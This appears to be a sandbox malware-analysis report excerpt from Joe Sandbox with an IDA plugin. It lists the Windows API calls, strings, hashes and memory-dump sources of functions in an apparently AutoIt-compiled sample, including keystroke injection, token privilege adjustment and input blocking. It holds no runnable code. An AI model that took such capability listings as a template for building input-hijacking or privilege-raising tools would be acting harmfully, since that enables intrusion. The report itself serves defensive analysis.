FindFirstFileW.KERNEL32(?,?), ref: 00746918
FindClose.KERNEL32(00000000), ref: 00746961

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b0fbcef897da9bea61239b0c047e1023915fba8999aefa7a7093640c398d35d2
Instruction ID: 2b3f235004075b184e7897b598c60a9ae3230abdf1cd7d8b6e16b88bbccaa9a2
Opcode Fuzzy Hash: b0fbcef897da9bea61239b0c047e1023915fba8999aefa7a7093640c398d35d2
Instruction Fuzzy Hash: DC1190716042019FD710DF29D484A26BBE5FF85328F14C69EE8698F3A2CB74EC05CB91

Function 007437B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00754891,?,?,00000035,?), ref: 007437E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00754891,?,?,00000035,?), ref: 007437F4

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: eeeb3748f0d9b9cd206abbd29b1514b920e9d5f0827959c6d410a24b046f5aba
Instruction ID: 451ca3856260a129efc65e0ee2f8adc78b029877127fe934cec231ddd7e37ac2
Opcode Fuzzy Hash: eeeb3748f0d9b9cd206abbd29b1514b920e9d5f0827959c6d410a24b046f5aba
Instruction Fuzzy Hash: 7CF0E5B06053286AE76117668C8DFEB3AAEEFC4761F004265F509D22C1DAB49944C6B0

Function 0073B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0073B25D
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 0073B270

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 0b9322a0ada63b926752078078164d882f61f2b2d9f033001b7b2244826bcd80
Instruction ID: 6df41ec45da500ad7f6b0bc06ff971cdef3be87976634d45c7f951161a561928
Opcode Fuzzy Hash: 0b9322a0ada63b926752078078164d882f61f2b2d9f033001b7b2244826bcd80
Instruction Fuzzy Hash: F7F0127180424DABDB059FA1C8057BE7BB4FF04305F148009F955A5192C77D86119F94

Function 007310BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,007311FC), ref: 007310D4
CloseHandle.KERNEL32(?,?,007311FC), ref: 007310E9

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 0c81c028360bf33ce80bfcaa292c82e6c64f4e96744a20b51d712221978ea4f1
Instruction ID: 0472cc47743c23b4a69a508b70ba4da402f138558793fee8756d09e48af970e2
Opcode Fuzzy Hash: 0c81c028360bf33ce80bfcaa292c82e6c64f4e96744a20b51d712221978ea4f1
Instruction Fuzzy Hash: 08E04F32008740AFF7262B12FC05E777BA9EF04310F10C82DF4A6804B1DBA26C90DB14

Function 0070676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00706766,?,?,00000008,?,?,0070FEFE,00000000), ref: 00706998

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: bafe0fec2148d9f80ad823e64421f9f7561004f523f59739c99b8bdad8f904e5
Instruction ID: 7e1ce935d055ed727ac09b44ab553ceba95f5c1b5a756cb68a1575e2e3a477ea
Opcode Fuzzy Hash: bafe0fec2148d9f80ad823e64421f9f7561004f523f59739c99b8bdad8f904e5
Instruction Fuzzy Hash: D1B10571610608DFDB15CF28C49AB657BE0FB45364F25C658E899CF2E2C339E9A1CB40

Function 006EB119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 0072851F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 302f7e0a285ee33d16a564a68d366b9222082ee351ff8102c472410c7a6da864
Instruction ID: 0a38e2fa34a2571865719cf329d9a6ff479ba65fcd3c584dcf644860f6bfdf72
Opcode Fuzzy Hash: 302f7e0a285ee33d16a564a68d366b9222082ee351ff8102c472410c7a6da864
Instruction Fuzzy Hash: 11127F71901229DBCB54CF59D881AEEB7F5FF48310F1481AAE809EB255EB349E81CF91

Function 0074EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0074EABD

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: f3d81005c38b7611183402324b452e2980b936fdf5a5f03f3ac515f1accfb41a
Instruction ID: 40037cca7cd9eb2455f7838ba556cfbcf0cf3592421f0df82704f92a4fce4f06
Opcode Fuzzy Hash: f3d81005c38b7611183402324b452e2980b936fdf5a5f03f3ac515f1accfb41a
Instruction Fuzzy Hash: 11E01A312002059FC710EF59D804EAAB7E9BF98770F00C41AFD8AC7361DBB4A8408B94

Function 006F09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,006F03EE), ref: 006F09DA

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f489ea8c91d0fb0b7a3c1d3df5387af7881b36bf58a62d3a021276c51cd31ab5
Instruction ID: affbd668b4b02449cdead1a49988709635f711dc891ddf25beb500da3dd9948e
Opcode Fuzzy Hash: f489ea8c91d0fb0b7a3c1d3df5387af7881b36bf58a62d3a021276c51cd31ab5
Instruction Fuzzy Hash:

Function 006F781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 006F798B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: 49cd43dd53e8c6a144dd8756219a9541778ea1c39d6a0f3090c4c4d325dec89c
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 6951797160C70D5BDB388968885E7FE67DB9B12380F18052EEB92D7382CA55DE03D35A

Function 00742046 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

0&z, xrefs: 00742053

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: 0&z
API String ID: 0-2820941700
Opcode ID: d13d7ad5f396863204dd0080da75ade720c532cb8c51b8f80897acd95b46c113
Instruction ID: 78fa2d245e396c6b82c44dd04dae84c5b4ab51d1a6adbcccf999210eff2e8e03
Opcode Fuzzy Hash: d13d7ad5f396863204dd0080da75ade720c532cb8c51b8f80897acd95b46c113
Instruction Fuzzy Hash: BD21E7323216118BD728CF79C82367E73E5A794310F148A2EE4A7C37D1DE3AA905CB84

Function 00706DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c2066cb2894a89233c51479eac4db81d8b812cabec05727c6e5fca42b3365f
Instruction ID: 381d433856c0a6ee5eb19534b33c23f731c6521d023dbd8b145d0cc7e36860a5
Opcode Fuzzy Hash: a9c2066cb2894a89233c51479eac4db81d8b812cabec05727c6e5fca42b3365f
Instruction Fuzzy Hash: 9D32F221D29F418DD7279634CC22335A689AFB73C5F15D737E82AB59AAEB2DD4C38100

Function 006ECC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e82e2b8fff1fdea07d106e46cdf284e001a0bed0978d97c4c53d528e9ae46c9
Instruction ID: aaca0146c2dc89ad00afd5e2e1306f3546f902c4b8fff4ad2527d53b354d3168
Opcode Fuzzy Hash: 5e82e2b8fff1fdea07d106e46cdf284e001a0bed0978d97c4c53d528e9ae46c9
Instruction Fuzzy Hash: FA323931A002A58BDF26CF29E490ABD77B2EF55310F38816AE449DB391D63CDD82DB51

Function 006D7920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38307b4a995edd1488a96a089108ad0dd93fb178de2c66cd9a34e98ec2e82bb7
Instruction ID: a7fd4614074684c2e14e2281b999083a289a15b8dd61a8c58ccfec64ab8c6b87
Opcode Fuzzy Hash: 38307b4a995edd1488a96a089108ad0dd93fb178de2c66cd9a34e98ec2e82bb7
Instruction Fuzzy Hash: A7229F70E04609DFDF18CF68C881AEEB7B6FF44300F14462AE816A7391EB39A955CB55

Function 006D91C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f6643be563c8d9a2d64094b509f957a7733ccbcbf8b5dc94b651717884302cc
Instruction ID: 019e2c88f922e2e323763c35d3a9862419e3fe54cc70df31c9e81240140fddc2
Opcode Fuzzy Hash: 0f6643be563c8d9a2d64094b509f957a7733ccbcbf8b5dc94b651717884302cc
Instruction Fuzzy Hash: 7E02A6B1E0020AEBDB14DF58D881AADB7B2FF44300F118169E8569B3D1EB35EE51CB95

Function 006F7A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a27130f7ea7df12b1d90b501ae831a013f3873148f0a08b9036079981984457
Instruction ID: 6834b538051ee04cdaa27bc7852b169284fef0925481475f05999aaa2a527a22
Opcode Fuzzy Hash: 4a27130f7ea7df12b1d90b501ae831a013f3873148f0a08b9036079981984457
Instruction Fuzzy Hash: 5461677120C70E9AEE749E2C8D95BFE2397DF52704F10095EEB42DB381DA51AE42C319

Function 015C3620 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: d5eafcdf902b49c7eb14c066e91c0c783ad7d0f43893108c38a5c24e302125fa
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 2541C471D1051CDBCF48CFADC991AAEBBF1AF88201F548299D516AB345D730AB41DB80

Function 015C3510 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 38e298594a109dff80164791ffdc0c1ffe295c91b60008b0942cd833bed0035f
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 1B01A478A00109EFCB84DF98C5909AEF7F5FF48710F208599D819AB741D730AE41DB80

Function 015C34B0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 6cea9cd6e78fdb919727003c431d182a98f5e6932c28420d0ba700e58623b8dc
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: 13019278A00109EFCB85DF98C5909AEF7F5FB48710F208599D809AB701D734AE41DB80

Function 015C1E70 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00752ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00752B30
DeleteObject.GDI32(00000000), ref: 00752B43
DestroyWindow.USER32 ref: 00752B52
GetDesktopWindow.USER32 ref: 00752B6D
GetWindowRect.USER32(00000000), ref: 00752B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00752CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00752CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752CF8
GetClientRect.USER32(00000000,?), ref: 00752D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00752D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752D80
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752D98
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752DA8
GlobalFree.KERNEL32(00000000), ref: 00752DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0076FC38,00000000), ref: 00752DDB
GlobalFree.KERNEL32(00000000), ref: 00752DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00752E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00752E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00752E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0075303F

Strings

AutoIt v3, xrefs: 00752CF2
DISPLAY, xrefs: 00752EA2
static, xrefs: 00752D3A, 00752E91
, xrefs: 00752FC5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: f5595ed05157340c7329c10a2d959f1f58b19d3bff0d5c2eab9e6e32c35dd2e4
Instruction ID: 14c82aa4abbbfd0fa01d2a284d004b6a8ef68a0de11b8e12991e8fc07b1321b2
Opcode Fuzzy Hash: f5595ed05157340c7329c10a2d959f1f58b19d3bff0d5c2eab9e6e32c35dd2e4
Instruction Fuzzy Hash: 89029F71900209EFDB15DF64DC89EAE7BB9FB49311F008109F915AB2A1DBB8AD05CF64

Function 007670D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0076712F
GetSysColorBrush.USER32(0000000F), ref: 00767160
GetSysColor.USER32(0000000F), ref: 0076716C
SetBkColor.GDI32(?,000000FF), ref: 00767186
SelectObject.GDI32(?,?), ref: 00767195
InflateRect.USER32(?,000000FF,000000FF), ref: 007671C0
GetSysColor.USER32(00000010), ref: 007671C8
CreateSolidBrush.GDI32(00000000), ref: 007671CF
FrameRect.USER32(?,?,00000000), ref: 007671DE
DeleteObject.GDI32(00000000), ref: 007671E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00767230
FillRect.USER32(?,?,?), ref: 00767262
GetWindowLongW.USER32(?,000000F0), ref: 00767284

Part of subcall function 007673E8: GetSysColor.USER32(00000012), ref: 00767421
Part of subcall function 007673E8: SetTextColor.GDI32(?,?), ref: 00767425
Part of subcall function 007673E8: GetSysColorBrush.USER32(0000000F), ref: 0076743B
Part of subcall function 007673E8: GetSysColor.USER32(0000000F), ref: 00767446
Part of subcall function 007673E8: GetSysColor.USER32(00000011), ref: 00767463
Part of subcall function 007673E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00767471
Part of subcall function 007673E8: SelectObject.GDI32(?,00000000), ref: 00767482
Part of subcall function 007673E8: SetBkColor.GDI32(?,00000000), ref: 0076748B
Part of subcall function 007673E8: SelectObject.GDI32(?,?), ref: 00767498
